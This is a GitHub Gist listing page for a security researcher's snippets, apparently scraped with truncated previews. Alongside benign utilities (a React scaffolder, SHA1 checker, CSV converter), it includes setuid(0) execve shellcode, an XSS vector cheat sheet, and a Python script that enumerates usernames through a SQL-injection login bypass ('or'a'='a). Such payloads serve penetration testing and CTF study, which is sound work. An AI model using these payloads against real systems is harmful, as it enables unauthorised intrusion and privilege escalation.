Skip to content

Instantly share code, notes, and snippets.

@rastating
rastating / create-react-component.js
Last active June 18, 2019 12:17
A script to create the boilerplate code for a new React.js component with a [Jest] spec file
#! /usr/bin/env node
# Usage: node create-react-component.js ComponentName
# Note: If a `components` directory does not exist in the current working directory, nothing will be created
const fs = require('fs')
const path = require('path')
const componentName = process.argv[2]
const componentPath = path.join(
'components',
componentName
#!/bin/sh -e
if [ $# != 3 ]
then
echo "usage: $0 <src-port> <dst-host> <dst-port>"
exit 0
fi
TMP=`mktemp -d`
BACK=$TMP/pipe.back
global _start
section .text
_start:
xor ecx, ecx
mov cl, 0x63
song:
mov eax, ecx
call convert_to_ascii
@rastating
rastating / setuid_execve_shell.c
Last active August 23, 2018 21:41
Linux i686 setuid(0) execve shell (30 bytes)
/*
Title : Linux i686 setuid(0) execve shell (30 bytes)
Author : rastating
08048060 <_start>:
8048060: 31 db xor %ebx,%ebx
8048062: 8d 43 17 lea 0x17(%ebx),%eax
8048065: cd 80 int $0x80
8048067: 31 c9 xor %ecx,%ecx
8048069: 31 d2 xor %edx,%edx

YARD CHEATSHEET http://yardoc.org

cribbed from http://pastebin.com/xgzeAmBn

Templates to remind you of the options and formatting for the different types of objects you might want to document using YARD.

Modules

Namespace for classes and modules that handle serving documentation over HTTP

@rastating
rastating / xss_vectors.txt
Created April 24, 2018 10:29 — forked from kurobeats/xss_vectors.txt
XSS Vectors Cheat Sheet
%253Cscript%253Ealert('XSS')%253C%252Fscript%253E
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))">
@rastating
rastating / monzo_to_qbo.py
Last active December 29, 2017 13:56
A Python script to convert the dates in CSV exports from the Monzo mobile application into a format supported by QuickBooks Online. Requires the pandas package, which can be installed via pip.
from dateutil.parser import parse
import pandas as pd
import csv
import sys
if len(sys.argv) == 1:
print "Usage: monzo_to_qbo.py [path to Monzo csv export]"
exit(1)
RED = "\033[1;31m"
# MySQL dump of OpenDocMan
#
#--------------------------------------------------------
#
# Table structure for table 'odm_access_log'
#
CREATE TABLE `odm_access_log` (
`file_id` int(11) NOT NULL,
import requests
import sys
with open(sys.argv[1], 'r') as f:
for line in f:
sys.stdout.write("Trying username: %s \r" % line.strip())
sys.stdout.flush()
r = requests.post("http://10.2.0.104/checklogin.php", data={ 'myusername' : line.strip(), 'mypassword' : "'or'a'='a", 'Submit' : 'Login' }, allow_redirects=True)
if r.text.find("Oups, something went wrong") == -1:
print "++ Found user %s ++" % line.strip()
@rastating
rastating / sha1check.sh
Created July 23, 2017 21:37
Helper script for validating files against SHA1 checksums
#!/bin/bash
if [ "$#" -ne 2 ]
then
echo "Usage: sha1check [filename] [checksum]"
exit 1
fi
echo "$2 *$1" | sha1sum -c -